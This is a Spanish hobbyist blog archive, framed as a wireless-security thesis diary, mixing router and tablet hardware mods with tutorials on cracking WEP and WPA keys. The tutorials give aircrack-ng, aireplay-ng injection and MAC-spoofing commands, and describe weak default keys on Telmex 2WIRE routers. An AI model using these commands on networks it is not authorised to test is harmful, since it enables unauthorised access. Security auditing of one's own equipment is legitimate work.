Diario de Tesis Seguridad en Redes Inalambricas

Linksys WRT54GL Dual Serial mod+Tarjeta micro SD

2010-09-13T23:34:00.003-05:00

Hola, consegui este router, poco a poco lo he puesto a punto, ire poniendo poco a poco el metodo para ponerle dos puertos seriales y una tarjeta de memoria, esta ultima aun no logro hacerla funcionar del todo bien, ya he montado el sistema de archivos pero al hacer la instalacion en la tarjeta algunos enlaces no los hace correctamente.

Por lo pronto dejo algunas fotos:

Circuito impreso con el MAX232

Tarjeta de memoria añadida (adaptador SD)

Contunuara...

Linksys WRT54G v2.2 Dual Serial Mode

2010-09-07T22:04:00.006-05:00

Siempre desde que compre este mi primer router vi que era muy modificable y ahora que me decidi mas adentrarme mas a un firmware para hombres (open-wrt) le adapte dos puertos seriales para poder controlar un PIC por ejemplo, por la red hay varios proyectos.

El resultados fue el siguiente:

Circuito armado en brotoboard

Puertos Seriales montados

Accesando desde mi nokia n810 por medio de wifi y open-ssh.

Despues pondre mas avances de este proyecto, la idea es controlar por medio de internet y desde cualquier parte un PIC conectandome al router por medio de wireless y este a su vez controlando el PIC por medio del puerto serial, controlar por ejemplo algun detector de temperatura o un robot =P.

Salu2
Happy Hack ;)
kyokorn

Fail Safe mode en router Linksys WRT54GL

2010-09-07T21:52:00.002-05:00

Hoy adquiri este router, y desde que lo conecte no se porque diablos no pude resetear el password de root, este router de fabrica trae open-wrt RC6 white russian, personalmente adoro la version 0.9 white russian, por lo que me era imposible actualizarlo sin el password de root, asi que despues de leer un poco encontre como bootearlo en modo failsafe mode. Para ello haremos lo siguiente:

Primero cambiamos la IP de nuestra maquina a 192.168.1.2 con netmask 255.255.255.0.
Conectamos el cable lan al puerto 1 del router.
Conectamos el cable de corriente al router y en cuanto empiece a encender el led de DMZ presionamos el boton reset o el boton frontal secure easy setup.
Si lo hicimos correctamente el led DMZ comenzara a parpadear.

Con esto usando putty o telnet nos conectamos al router en la direccion 192.168.1.1 puerto 23. y haremos lo siguiente, para cambiar el password:

# mount_root
# passwd

con eso bastara para poder cambiar el password del router.

Salu2
Happy Hack ;)
kyokorn

Testeando nokia n810 =) aircrack-ng, kismet, etc..

2010-01-27T14:40:00.009-06:00

Pues antes que nada un minuto de silencio para el difunto nokia n800 =(, desgraciadamente se me cayo y poco a poco fue muriendo hasta que hoy en dia el display ya chafio, espero encontrar a alguien que tenga alguno dañado y me venda el display.

Pues he estado probando el n810 y vaya que a pesar de tener casi las mismas caracteristicas que el n800 si se siente un poco la velocidad, llevo un par de dias con el y ya lo he puesto a punto. Dejo algunas capturas y proximamente subire algunos programas para los que tienen este aparato no les cueste trabajo instalar aplicaciones como kismet o aircrack.

Aplicaciones instaladas:

* VNC Server and Viewer
* Suite aircrack-ng y aircrack-ptw (incluyendo aireplay-ng)
* dsniff
* nmap
* kismet
* Wireless tools (iwconfig)
* Canola
* Maps
* Pidgin
* Skype
* Terminal (as root)
* VPN
* Y algunas otras mas...

Foto Corriendo airodump-ng con tarjeta USB para inyectar (Pero no rulo =[ )

Otra foto corriendo Kismet

Otra mas

Captura de pantalla directamente del nokia.

Salu2
kyokorn

Tarjeta Intel ipw2200 104 unsupported wireless device

2009-08-12T09:02:00.009-05:00

Hace poco consegui una tarjeta barata intel ipw2200, pero oh sorpresa al insertarla y encender la maquina me daba el siguiente mensaje:

Asi que menudo problema, estuve leyendo en algunos foros y por fin llegue a la solución, en resumidas cuentas el problema es que el BIOS tiene bloqueado el uso de tarjetas wireless a excepcion de las tarjetas aprobadas por HP, que no es otra cosa que compres lo que ellos te digan cosa que no me parecio asi que decidi a instalar la que yo queria =P.

Que necesitamos:

Una tarjeta que funcione (Aprobada por HP), en mi caso tenia una pero se daño un pequeño circuito integrado por lo que no se conectaba a las redes.
Una laptop puede ser la laptop que actualmente les da el mensaje de error.
Linux Knoppix, tiene que ser la version que tenga un kernel 2.4 es impotante de lo contrario no podran cargar el modulo para cambiar el EEPROM de la wireless. (Al menos yo no pude ni con wifislax, ni ubuntu, ni DSL).
Bajar el archivo http://www.geocities.com/sonyirclib/ipw2200.tar.gz

Para resumir las cosas:

Tarjeta A = Tarjeta aprobada por HP.
Tarjeta B = Tarjeta que nos da el mensaje de error en el BIOS.

Bien empecemos:

* Primero insetamos la tarjeta A en la laptop y iniciamos con el cd de Knoppix, nos fijamos que el led de la wireless este encendido.

* Al momento de iniciar knoppix y cuando este en la pantalla de: boot:_ en ese momento retiramos la tarjeta A con mucho cuidado e insertamos la tarjeta B, el led debera permanecer encendido esto es importante.

* Damos enter e iniciara la carga de Knoppix ya dentro del escritorio de kde, damos click en el pinguino y abrimos una terminal como root (icono root shell).

Y escribimos lo siguiente:

#iwconfig

Con este comando nos mostrara el nombre de nuestra interfaz en mi caso fue eth0

#ethtool -e eth0

Con este comando nos mostrara la informacion de la EEPROM en hexagecimal de nuestra tarjeta.

* Bien, ahora vamos a descomprimir el driver con el modulo necesario para cambiar la EEPROM de nuestra tarjeta:

#tar xvzf /mnt/hda1/ipw2200.tar.gz
#cd ipw2200-1.0.3
#sh unload
#sh load

En mi caso como la tarjeta es gringa USA escribí los siguientes comandos:

ethtool -E eth0 magic 0x2200 offset 0x8 value 0xf5
ethtool -E eth0 magic 0x2200 offset 0x9 value 0x12
ethtool -E eth0 magic 0x2200 offset 0xa value 0x3c
ethtool -E eth0 magic 0x2200 offset 0xb value 0x10

Si su tarjeta es de Europa tendran que escribir los siguientes:

#ethtool -E eth0 magic 0x2200 offset 0x8 value 0xf6
#ethtool -E eth0 magic 0x2200 offset 0x9 value 0x12
#ethtool -E eth0 magic 0x2200 offset 0xa value 0x3c
#ethtool -E eth0 magic 0x2200 offset 0xb value 0x10

Y listo por ultimo reiniciamos la maquina y adios mensaje 104 unsupported wireless device

Salu2
kyokorn

Crack WPA desde nokia n800

2009-06-01T09:26:00.005-05:00

Hola, antes de recibir comentarios diciendo que no se notan los comandos o que el video es de mala calidad, aclaro que no es un tutorial solo es con fines demostrativos, he estado jugando ultimamente con mi nokia y con una tarjeta usb (rt73), pero aun no puedo hacer que inyecte, sigo haciendo pruebas, lo mas que he logrado es capturar el handshake y pasarle aircrack con un diccionario de palabras.

Espero pronto subir ya un video donde este inyectando con el nokia =P.

salu2
kyokorn

Crack wep con acer one series desde memoria USB

2009-05-08T12:53:00.005-05:00

Cuanto adquirí esta laptop no estaba muy convencido puesto que me habían dicho que era un poco lenta, pero la verdad después de poco menos de 2 meses de usarla puedo decir que es una excelente maquina funciona de maravilla tanto con win$ como con linux (ubuntu 8.10) y por si fuera poco funciona excelente mente bien con backtrack 4 beta, este tuto es para crackear wep con la acer one booteando desde una memoria USB (de mínimo 1 GB).

Bueno empecemos, primero el material requerido:

Laptop Acer one (Obvio)
Archivo iso de la pagina de backtrack. Pagina de descarga de Backtrack
Memoria de mínimo 1 GB.
Programa unetboot. Pagina oficial de Unetboot
Una coca cola pa la calor.

Manos a la obra, primero abrimos el programa de unetboot puede ser desde windows y configuramos lo siguiente (Marcados en azul):

- Distribución: Ubuntu 8.10_live
- Imagen: ISO - C:\bt4-beta.iso (O donde tengan guardada la imagen iso)
- Tipo: Unidad USB – Unidad: E: (Esta es la unidad de su memoria USB)

Y listo empezara el programa a copiar los datos necesarios y al final tendremos nuestra memoria USB booteable lista para arrancar:

Damos enter y comenzara a cargar backtrack, despues de terminar de cargar nos pedira login y password:

Y luego tecleamos startx para iniciar el modo grafico:

Y dentro del entorno grafico abrimos una terminal de comandos, y tecleamos iwconfig vemos que nos reconoce la tarjeta wireless pero al dar iwconfig ath0 mode monitor para ponerla en modo monitor nos da un error:

Para poder ponerla en modo monitor tecleamos lo siguiente:

wlanconfig ath0 destroy
wlanconfig ath create wlandev wifi0 wlanmode monitor nosbeacon

Y vemos que al teclear iwconfig ya esta en modo monitor:

Aprovechamos y de una ves cambiamos la mac de la tarjeta:

Ahora ya podemos empezar a escanear redes y poder auditar nuestro AP:

Primero tecleamos airodump-ng para obtener los datos del AP que estamos auditando en mi caso y como ejemplo auditare mi AP llamado 2WIRE1, entonces el comando para poder escanear solamente mi AP seria:

donde:

-w kyokorn–> indica que en al archivo kyokorn se guardaran los datos capturados
-c 6 –> Indica que escanee solamente en el canal 6.
--bssid 00:14:xx:xx:xx:xx –> indica la MAC de mi AP que estoy auditando.

Al teclear el comando obtendremos lo siguiente:

Marcado en azul vemos la flechita para dar click y abrir un par mas de terminales (Shell N. 2 y Shell N.3) que usaremos para continuar.

En la Shell 2. Tecleamos:

Y vemos la carita feliz :-) que indica que nos hemos asociado correctamente al AP.

Ahora en ese mismo shell 2. tecleamos lo siguiente:

Damos enter, y vemos como empieza a inyectar, nos cambiamos a la pestaña Shell para volver a la pantalla donde dejamos corriendo airodump-ng:

Podemos ver marcado en verde la velocidad de inyeccion 389 ivs/seg, muy buenos :O

Ahora ya solo en la Shell 3. corremos el comando para aircrack:

aircrack-ng –x kyokorn-01.cap

Damos enter, y vemos que con poco mas de 40,000 iv’s obtenemos la clave wep.

Y listo el precio bajo de esta laptop vale cada centavo es una buena maquina con buen disco duro y soporta perfectamente ubuntu, backtrack, windows xp etc.

Dejo otra captura del escitorio de ubuntu corriendo igual la suite de aircrack.

Y otra mas de mis juguetes por orden de estatura: nokia n800 (Linux maemo Diablo), Acer One con ubuntu 8.10, y ibook G3 con Mac Os X 10.3.

Nota: Se que muchos van a decir que tambien hay una version usb de backtrack, sin embargo yo elegi este metodo ya que habia descargado y ya tenia el iso de backtrack.

También se borraron las MAC'S de los AP's que salieron durante el escaneo para evitar ofender la sensibilidad de alguién o que se llegue a mal interpretar.

Happy Hack !
Salu2
kyokorn

DosBox en nokia n800 - Windows 3.1 - Juegos

2009-03-03T10:32:00.010-06:00

Pues es increible lo que avanza la tecnologia, quien iba a decir que se iba poder emular en la palma de tu mano una computadora(286 mi primer computadora) que en su momento pesaba lo que pesa mi hija de 2 años.

Hace un rato que estuve haciendo pruebas me lleno de nostalgia el ver de nuevo el windows 3.1, el Wolfenstein3D, el prince of persia, wow quede maravillado y lleno de nostalgia ñ_ñ, ya que fueron de los primeros juegos que corri en mi poderosa 286 con ms-dos porque al principio solo use msdos posteriormente ya que tuve una 386 use windows 3.1.

Bueno explicare un poco como se instala dosBox en el poderoso nokia n800, tambien vi que ya hay una version para symbian de hecho lo vi corriendo en un nokia n95.

Pues lo primero es instalar DosBox, esto no tiene mayor problema solo bajan el archivo segun su S.O (en mi caso Maemo Diablo os2008)

http://pupnik.de/dosbox.html

Ahora despues de esto yo lo que hice fue crear una carpeta en una de mis memorias sd llamada C ahi guarde todos los archivos que quiero correr desde el DosBox, meti la carpeta de instalacion de windows 3.1, el principe de persia y la carpeta del wolf3d.

Bueno ya con todo listo en la tarjeta corremos el DosBox

Ya en la linea de comandos escribimos:

z:\>mount c /media/mmc2/c

(Nota: /media/mmc2/c esta es la ruta de mi carpeta C que cree previamente en mi tarjeta de memoria)

z:\>c:

c:\>

Y ya con esto tendremos montado nuestra unidad C en el DosBox, y ya podemos instalar windows 3.1 o windows 95 o lo que te venga en gana que corra desde el viejo ms-dos.

De aqui pueden bajar un sin fin de juegos de ms-dos, yo baje de aqui el prince of persia y el wolfestein3d y los dos como pueden ver corren perfectamente bien.

http://www.dosgamesarchive.com/list/

Y bueno un punto bastante favorable es que en el nokia n800 se le puede conectar un teclado usb, asi puedes jugar comodamente wolfestein o prince of persia :D

Salu2

kyokorn

COMO CONECTAR TECLADO USB A NOKIA 770 CON CAJITA "POWER INJECTOR USB"

2008-09-29T10:29:00.019-05:00

Hola.

Recien hace una semana adquiri este fabuloso aparato, pero siempre he odiado los teclados virtuales es una lata estar escribiendo, asi que me puse a investigar y me di cuenta que se puede poner en modo host para conectar dispositivos USB.

Por ahi en un blog vi un circuito algo casero, y decidi a mejorarlo cambiando los conectores y usando materiales y conectores que yo mismo construí o adapte, este es el circuito, gracias al amigo Moe por la corrección de la resistencia en el LED :P :

Los materiales son muy baratos la bateria es de las cuadradas de 9V.

Pero aqui pongo la lista completa de materiales:

* Bateria 9V

* Capacitor 100uF

* Capacitor 2.2uF

* Capacitor 100nF

* Led Verde

* Resistencia 330 OHMS

* Regulador 5V LM7805

* Diodo 1N4004

* 1 Switch

* 2 Conectores Hembra para chasis RCA.

* 2 Conectores Macho RCA

* 1 Chocolates de "Cafe Punta del Cielo" (Por la caja metalica)

Bueno en si los pasos son sencillos para alguien que sabe soldar, aqui pongo el circuito impreso, junto con el programa que pueden ocupar para rediseñar el circuito si lo quieren hacer mas pequeño o agregar mas cosas. Yo lo hice asi por comodidad y diseño para que cupiera dentro de la caja y poderlo fijar a la misma. Dentro del rar vienen los archivos .pcb del circuito impreso y .ms10 del circuito en Multisim.

http://rapidshare.com/files/149417105/PCB_Wizard_3.50_Pro_Unlimited__CubituZ_Release_.rar.html

Aqui pongo unas fotos para que se den idea de como va montado el circuito.

Este es el esquema de como se conectaria el teclado USB al nokia, utilizando un hub usb para eso es esta cajita para alimentar el hub y poder conectar ahi el teclado

Aqui se ve la caja, solo con el interruptor montado y el circuito afuera.

Puse cinta de aislar a la caja en la parte donde voy a poner el circuito para evitar cortos circuitos

Aqui se puede ver como puse los dos conectores RCA tipo chasis a la caja de metal

Aqui se ve ya todo completo el montaje y funcionando

Otra foto mas de cerca del circuito montado

El Hub alimentado y conectado al nokia y y a un teclado USB

Testeando presionando las teclas

Aqui esta el cable que uso del HUB al Power inyector

Aqui se puede ver como queda energizado para usar nuestro teclado USB :D.

*** UPDATE ***

Agregue estas estampas

Agregue belcro a la bateria para que no se mueva

Este aparato es verdaderamente potente, tomando en cuenta que esta tecnologia es vieja aprox 3 años ya hay un nuevo modelo en nokia n800 y n810, Dentro de las aplicaciones que le he instalado son:

* Firmware: Internet Tablet OS 2007 Hacker Edition for the 770
Version: 4.2008.7-1
* Suite aircrack-ng 9.1
* Aircrack-ptw
* MH Shot tool
* Netcat
* Nmap
* Dsniff
* Kismet
* Gaim
* X terminal
* VNC Viewer
* Google Talk (Llamadas VozIP)
* Doom
* Skype

Dejo una captura de pantalla del nokia (La captura es desde el nokia usando MH Shot tool).

Notas Finales:

Abajo cito los links en los que me base, a diferencia de thoughtfix use conectores RCA en lugar de USB, en primera por comodidad y en segunda porque no encontre xD, pero ustedes pueden usar cualquier conector, El conector USB Hembra-Hembra yo lo costrui tambien, usando un apatador de teclado de PS2 a USB u un cable extensor de USB, abajo pongo el diagrama de como van los cables al convertidor ps2/usb, ya que comprarlo se me hizo muy cara el conector 100 pesos :S,

Tambien dejo un video estrenando la utilidad de blogger.

Nuevo video.

Salu2

kyokorn

Fuente: http://tabletblog.com/2006/01/usb-power-injector-2.html

Fuente: http://www.todosymbian.com/postx24871-0-15.html

NUEVOS VIDEOS A PANTALLA COMPLETA

2008-09-11T21:32:00.007-05:00

Hola dejo estos videos que hice en wink a pantalla completa, todos son usando wifislax :

http://kyokorn.webcindario.com/wifi/airo8187.htm <-- Tarjeta usb 8187 y airoscript
http://kyokorn.webcindario.com/wifi/wifislax.htm <-- Tarjeta usb 8187
http://kyokorn.webcindario.com/wifi/ipw2200.htm <-- Tarjeta intel ipw2200

Salu2
kyokorn

COMANDOS SUITE AIRCRACK-NG USANDO WIFISLAX Y TARJETA RALINK 8187

2008-09-11T12:50:00.008-05:00

Primero ponemos la tarjeta en modo monitor y cambiamos la MAC de nuestra tarjeta: (Abrimos 3 terminales, ver detalle en video citado abajo)

Terminal 1

iwconfig wlan0 mode monitor
macchanger -m 00:11:22:33:44:55 wlan0

Arrancar snifer:

airodump-ng wlan0

Solo para tener los datos del AP a auditar, paramos el escaneo con Ctrl+c

Ejemplo:

Supongamos que el AP que vamos a auditar es INFINITUM0666 COPIAMOS EL BSSID DE INFINITUM0666 (Mac address) por ejemplo: 00:1F:38:45:56:91, ya tenemos todos los tados para lanzar el ataque 1 y 3 de aireplay-ng

Terminal 1

airodump-ng -c 6 -w kyokorn wlan0

Terminal 2

aireplay-ng -1 0 -e INFINITUM0666 -a 00:1F:38:45:56:91 -h 00:11:22:33:44:55 wlan0
aireplay-ng -3 -b 00:1F:38:45:56:91 -h 00:11:22:33:44:55 wlan0

y por ultimo pasamos aircrack en el archivo de captura en mi caso kyokorn (airodump les pone terminacion 01 02 03 etc etc a los archivos de captura):

Entonces quedaria:

Terminal 3

aircrack-ptw kyokorn-01.cap
aircrack-ng -x kyokorn-01.cap (Comando equivalente, usar el de arriba o este)

Nota: obviamente trabajando en el mismo directorio y trabajando en 3 terminales (Separadas en colores)

Estos comandos con usandos en el videotutorial:

http://kyokorn.webcindario.com/wifi/wifislax.htm

Salu2
kyokorn

Crackeando WPA/WPA2 usando ubuntu 7.10 y un router de Telmex

2008-04-07T12:57:00.003-05:00

Crackeando WPA usando ubuntu 7.10, router telmex, mi tarjeta es una wistrom con chipset atheros, la cancion del video la estuve buscando mucho tiempo me recuerda a mis tiempos que soñaba con una pc para jugar fifa 2000 jaja escucho la cancion y se me enchina la piel eran chidas esas epocas del 2000.

Dejo info para los que siempre preguntan de donde descargar aircrack-ng, backtrack, etc etc...

Aircrack: http://www.aircrack-ng.org/doku.php?id=aircrack-ng.es
aircrack-ptw: http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
Ubuntu: http://www.ubuntu-es.org/
BackTrack: http://www.remote-exploit.org/backtrack_download.html
Wifi-Slax: http://www.wifislax.com/

Crackear WEP usando wifislax 3.1 y airoscript

2008-03-29T13:29:00.002-06:00

Hola, este video es crackeando WEP usando wifislax 3.1 y airoscript.

Visten la pagina del buen hwagm (Creador de wifislax)
http://www.seguridadwireless.net
Saludos
kyokorn

Configurar un WRT54G en modo cliente paracompartir internet conectandose a otro AP:)

2007-06-04T12:06:00.000-05:00

Que tal, pues este router lo compre hace ya mucho lo vendi y despues regreso a mi, es una version 2.2. y debo decir que es un router excelente. Le cambie el firmware oficial por el dd-wrt (Mas info aqui) y mas que nada lo que queria es tener un AP en modo cliente para conectarme con otro AP y asi tener internet en otras maquinas:

AP -----------------> AP modo cliente -----------------------------> Mi laptop
2wire __________(WRT54G) ____________________________Mi Pc escritorio .........etc etc
infinitum

Es decir ocupar las salidas ethernet del router para poder conectar mas maquinas gracias al modo cliente. bueno vamos a la practica:

1.- Antes que nada reseteamos el router (Conectar a la corriente y dejar presionado el boton reset por unos 30 segundo).

2.- Accedemos al router por medio de la interfaz web por default: http://192.168.1.1.

3.- Nos dirigimos hacia Setup-Basic luego la pestaña setup y cambiamos los siguientes valores:

===> en el campo Network Setup, ponemos la ip: 192.168.2.1
===> DHCP server lo desactivamos.
===> Activamos la opcion que dice Assing WAN port to switch (Marcada en rojo).
===> Damos click en el boton save settings.

4. Volvemos a acceder a la configuracion del router recordemos que le cambiamos la IP asi que entramos en la nueva: http://192.168.2.1.

5. Nos vamos a Wireless despues Basic settings y configuramos lo siguiente:
===> Wireless Mode: Client.
===> Wireless Network Name (SSID): Inalambrica (Aqui ponemos el nombre del AP en mi caso 2WIREXXX)
===> Damos click en el botton de save settings.

6. Ahora nos vamos a Wireless despues -> Security y configuramos lo siguiente:
===> Security Mode: WEP
===> Encryption: 64 bits (o la que ustedes prefieran)
===> Key 1: xxxxxxxxxx Ponemos la clave en hexa sin ningun tipo de separadores.
===> Damos click en el botton de save settings.

7. Ahora vamos a Status y observamos que ya estamos conectados, en la parte de superior derecha vemos que el router se conecta al AP, y el DHCP del AP le asignara una ip al router. esta ip aparece en la web del router como: WAN IP :)

Vemos que el AP nos asigna una direccion IP por dchp

Ya solo faltaria configurar cada maquina con una IP fija en el rango siguiente:

IP ->192.168.2.X,

por ejemplo la 192.168.2.21, y de puerta de enlace (GTW) nos ponemos la 192.168.2.1. Funciona como router, cualquier otro equipo en la misma subred y con el gtw 192.168.2.1. tambien podra navegar por la internet.

Espero haya sido de ayuda esta configuración, Nos vemos

Salu2
kyokorn

Cracker infinitum 2wire en menos de 2 miutos

2007-05-02T14:12:00.000-05:00

Con la salida de Aircrack-tpw http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw, es posible cracker WEP con muchos menos Iv's, en el video se muestra como con tan solo 16,000 Iv's se rompre la clave WEP de la configuracion tipica de infinitum.

Es necesario instalar la suite de aircrack http://www.aircrack-ng.org, asi como tener la tarjeta en modo monitor, una guia muy buena de como poner en modo monitor su tarjeta la pueden encontrar en: http://hwagm.elhacker.net/drivers-ng/driver-ng.htm, despues de tener todo esto listo proceden a compilar aircrack-ptw deben tener el paquete libpcap0.8-dev si son usuarios de ubuntu pueden instalarlo tecleando: apt-get install libpcap0.8-dev desde la terminal de comandos.

Salu2
kyokorn

Aspectos importantes para los nuevos usuarios de Ubuntu

2007-04-11T09:15:00.000-05:00

Que tal, pues no tiene mucho que instalé ubuntu y la verdad es que quede maravillado, ya que puedo decir que ya no dependo de windows jaja poco a poco lo estoy dejando, hasta el momento he podido instalar y configurar todo lo que se me ha ocurrido que normalmente hago con windows empezando por instalar correctamente los players y codecs para ver peliculas con subtitulos y todo, a decir verdad no es gran ciencia hacer esto pero para los que no tienen mucha experiencia si es algo que no tan facil se encuentra o que se encuentra pero muy enrrollado,

Lo primero que se hace para poder instalar software con copyright es abrir el gestor de paquetes de synaptic y en el menu configuracion irse a repositorios ahi hay que activar la casilla de Software restringido por copyright o cuestiones legales

Ya con esta opcion vamos a poder instalar, mi reproductor favorito de peliculas en totem o bien puede ser tambien mplayer, estos los podemos instalar desde el gestor de paquetes synaptic le damos buscar y listo, solo que aqui es donde entramos en los primeros obstaculos ya que si en efecto el reproductor se instala correctamente lo que no se instalan son los codecs, el reproductos que si instala algunos codecs es VLC pero este reproductor me dio problemas con los subtitulos se saltaba muchos subtitulos por lo cual mejor busque la manera de instalar los codecs manualmente, lo que hice en este caso para no quebrarme tanto la cabeza fue instalar automatix.

http://www.getautomatix.com

En la imagen se ve la opcion que debemos activar para instalarla, Multimedia Codecs para poder reproducir los videos con el Totem o con Mplayer o su reproductor favorito.

Como reproductor de mp3's recomiendo Amarok, lo pueden instalar en el gestor de paquetes Synaptic.

Pues hasta aqui el problema con los codecs y los reproductores de video y audio.

Lo siguiente que hice fue instalar correctamente los drivers para modo monitor de mi tarjeta, dejo una captura por el momento, queda pendiente esta parte ..

Salu2
kyokorn

Crackear clave WEP de infinitum en routers 2WIRE

2006-10-17T10:59:00.000-05:00

Siempre ha estado la gran interrogante si es responsabilidad del provedor de servicios de internet inalambrico en este caso infinitum el encargado de proporcionarnos una minima opcion de seguridad, creo que si lo hacen y con creces aseguran una pero muy minima configuracion de seguridad.

La red estudiada es una donde solo usan las maquinas conectadas a traves del router (2wire el modelo exacto despues lo posteo) por ethernet, en este caso la red inalambrica ni siquiera es usada, al estudiar la red se deduce que el usuario ni siquiera esta enterado que su red inalambrica esta habilitada, por lo cual cualquier persona que lea un tutorial de este tipo (hay muchos) podra sacar la clave WEP de estos routers, la configuracion de prodigy infinitum es verdaderamente risible ya que usan el numero de serie del equipo como clave, esta clave consta de 10 numeros los cuales se sacan sin problema en menos de 10 minutos como se ve en el tutorial.

Este tutorial solo es para ilustrar el problema de seguridad que se presenta a nivel mundial, y como una ves al al gran monopolio de telefonia en Mexico (Telmez) no le importa otra cosa si no que vender sus productos y seguir creciendo su gran imperio. despues posteo un estudio mas a fondo por lo pronto dejo esto ;)

El material usado es:

* Laptop
* Tarjeta Wireles Cisco Aironet a/b/g PCMCIA (o cualquiera que soporte inyeccion de trafico)
* Distribucion Back Track live CD de Linux

Salu2
kyokorn

Crack WEP en 15 minutos con una Wireless Stick USB MSI US54G

2006-09-29T08:42:00.000-05:00

Esta ves logre inyectar trafico pero con una tarjeta wireless USB stick MSI, esta tarjeta fue la primera que adquiri me costo 380 pesos =P y pense que no era compatible con linux ya que al principio no lo eran, estos drivers no tienen mucho de hecho ya hasta la habia desarmado y la iba a montar en una antena, pero oh sorpresa funciona perfectamente los drivers los pueden bajar de la pagina:

http://rt2x00.serialmonkey.com/wiki/index.php

Funciona perfectamente con mandriva 2006, creo que funciono hasta mejor que la tarjeta cisco que tengo ya que no se si hice mal la instalacion pero me cuesta trabajo ponerla en modo monitor, en cambio esta tarjeta ha reaccionado muy bien.

Aqui dejo las instrucciones a seguir para instalar los drivers de la tarjeta.

Exactamente el chipset de mi tarjeta es 2571 pero use el 2570 y funciono muy bien. De hecho en la pagina de Linux Wireless Lan Support estan marcados en gris que significa que su fncionamiento es desconocido.

1.Get the source from http://rt2400.sourceforge.net/
http://ovh.dl.sourceforge.net/sourceforge/rt2400/rt2400-1.2.0.tar.gz
(as of 20-08-04) expand in /usr/src
# tar -xvzf rtxxx.tar.gz /usr/src/

2.Get the latest qt packages
Here is what I have on my machine
# rpm -qa grep qt
libqt3-3.2.3-19.2.100mdk
qt3-common-3.2.3-19.2.100mdk
qt3-example-3.2.3-19.2.100mdk
libqt3-devel-3.2.3-19.2.100mdk

3.Make sure you have the source of your kernel in /usr/src/
# rpm -qa grep kernel
kernel-2.6.3.7mdk-1-1mdk
kernel-source-2.6.3-7mdk
# ls -l /usr/src/
total 12
lrwxrwxrwx 1 root root 16 ao 18 17:13 linux -> linux-2.6.3-7mdk/
drwxr-xr-x 21 root root 4096 ao 18 17:14 linux-2.6.3-7mdk/
drwxr-xr-x 7 root root 4096 ao 18 18:34 RPM/
drwxr-xr-x 4 philippe philippe 4096 jun 23 04:45 rt2400-1.2.0/

4.Make sure you have the following link
# ls -l /lib/modules/2.6.3-7mdk/
total 796
lrwxrwxrwx 1 root root 25 ao 18 17:13 build -> /usr/src/linux-2.6.3-7mdk/

5.Compile the module
# cd /usr/src/rt2400-1.2.0/Module/
#make
...
#make install
...

6.Compile RaConfig
# cd /usr/src/rt2400-1.2.0/Utility/
#./Configure
...
#make
...

7.Start Ra0
Create and run the following script as root from anywhere.
07:29, 4 Dec 2004 (PST)07:29, 4 Dec 2004 (PST)07:29, 4 Dec 2004 (PST)07:29, 4 Dec 2004 (PST)07:29, 4 Dec 2004 (PST)serialmonkey
#!/bin/sh
#------------------------------------------------------------
# By eaglenest@users.sourceforge.net
# July-August 2004, based on tips from the
# rt2400 Linux Driver project help forum
# (rt2400.sourceforge.net) - no copyright.
#
# This script brings up and connects an
# rt2400 chipset based wireless network
# card to a DHCP server. It is not validated
# with regard to static IP addressing.
#------------------------------------------------------------
ifconfig ra0 down
# Install the module if not installed
insmod /usr/src/rt2400-1.2.0/Module/rt2400.o
ifconfig ra0 up
# Set wireless parameters as needed
iwconfig ra0 mode Managed
iwconfig ra0 channel auto
iwconfig ra0 rate auto
#iwconfig ra0 nick nowhereman
#iwconfig ra0 key restricted [1] XXXXXXXXXXXXX
#iwconfig ra0 key [1]
iwconfig ra0 key off
# Note: scanning must start very soon after ifconfig
iwconfig ra0 essid any
# Connect to DHCP server (comment if not DHCP)
dhclient ra0
# Settings for static IP (i.e. not DHCP)
#ifconfig ra0 x.x.x.x netmask x.x.x.x broadcast x.x.x.x
#ip route add default via 192.168.1.1 dev ra0
07:29, 4 Dec 2004 (PST)07:29, 4 Dec 2004 (PST)07:29, 4 Dec 2004 (PST)07:29, 4 Dec 2004 (PST)07:29, 4 Dec 2004 (PST)serialmonkey
# ./script
insmod: error inserting '/usr/src/rt2400-1.2.0/Module/rt2400.o': -1 File exists
Internet Software Consortium DHCP Client V3.0.1rc13
Copyright 1995-2002 Internet Software Consortium.
All rights reserved.
For info, please visit http://www.isc.org/products/DHCP
sit0: unknown hardware address type 776
sit0: unknown hardware address type 776
Listening on LPF/ra0/00:08:a1:52:e6:27
Sending on LPF/ra0/00:08:a1:52:e6:27
Sending on Socket/fallback
DHCPDISCOVER on ra0 to 255.255.255.255 port 67 interval 7
DHCPOFFER from 192.168.254.254
DHCPREQUEST on ra0 to 255.255.255.255 port 67
DHCPACK from 192.168.254.254
bound to 192.168.254.5 -- renewal in 1054468517 seconds.

8.Run RaConfig
[root@localhost Module]# /usr/src/rt2400-1.2.0/Utility/RaConfig&
everything should work
to make sure you really use ra0, stop any other network card
with mcc for example.
Pinging the router should work
# ping 192.168.254.254
PING 192.168.254.254 (192.168.254.254) 56(84) bytes of data.
64 bytes from 192.168.254.254: icmp_seq=1 ttl=64 time=5.10 ms
64 bytes from 192.168.254.254: icmp_seq=2 ttl=64 time=2.39 ms
64 bytes from 192.168.254.254: icmp_seq=3 ttl=64 time=2.47 ms
64 bytes from 192.168.254.254: icmp_seq=4 ttl=64 time=2.28 ms
# ifconfig
lo Lien encap:Boucle locale
inet adr:127.0.0.1 Masque:255.0.0.0
adr inet6: ::1/128 Scope:Hte
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:346 errors:0 dropped:0 overruns:0 frame:0
TX packets:346 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:0
RX bytes:53260 (52.0 Kb) TX bytes:53260 (52.0 Kb)
ra0 Lien encap:Ethernet HWaddr 00:08:A1:52:E6:27
inet adr:192.168.254.7 Bcast:192.168.254.255 Masque:255.255.255.0
adr inet6: fe80::208:a1ff:fe52:e627/64 Scope:Lien
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:14871 errors:0 dropped:0 overruns:0 frame:0
TX packets:506 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:1000
RX bytes:960974 (938.4 Kb) TX bytes:31800 (31.0 Kb)
Interruption:10 Adresse de base:0xa000
[root@localhost Module]# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
sit0 no wireless extensions.
ra0 RT2400PCI ESSID:"Wireless"
Mode:Managed Channel:10 Access Point: 00:09:5B:2D:32:3E
Bit Rate:11Mb/s
RTS thr:off Fragment thr:off
Encryption key:off
Link Quality:69 Signal level:24 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

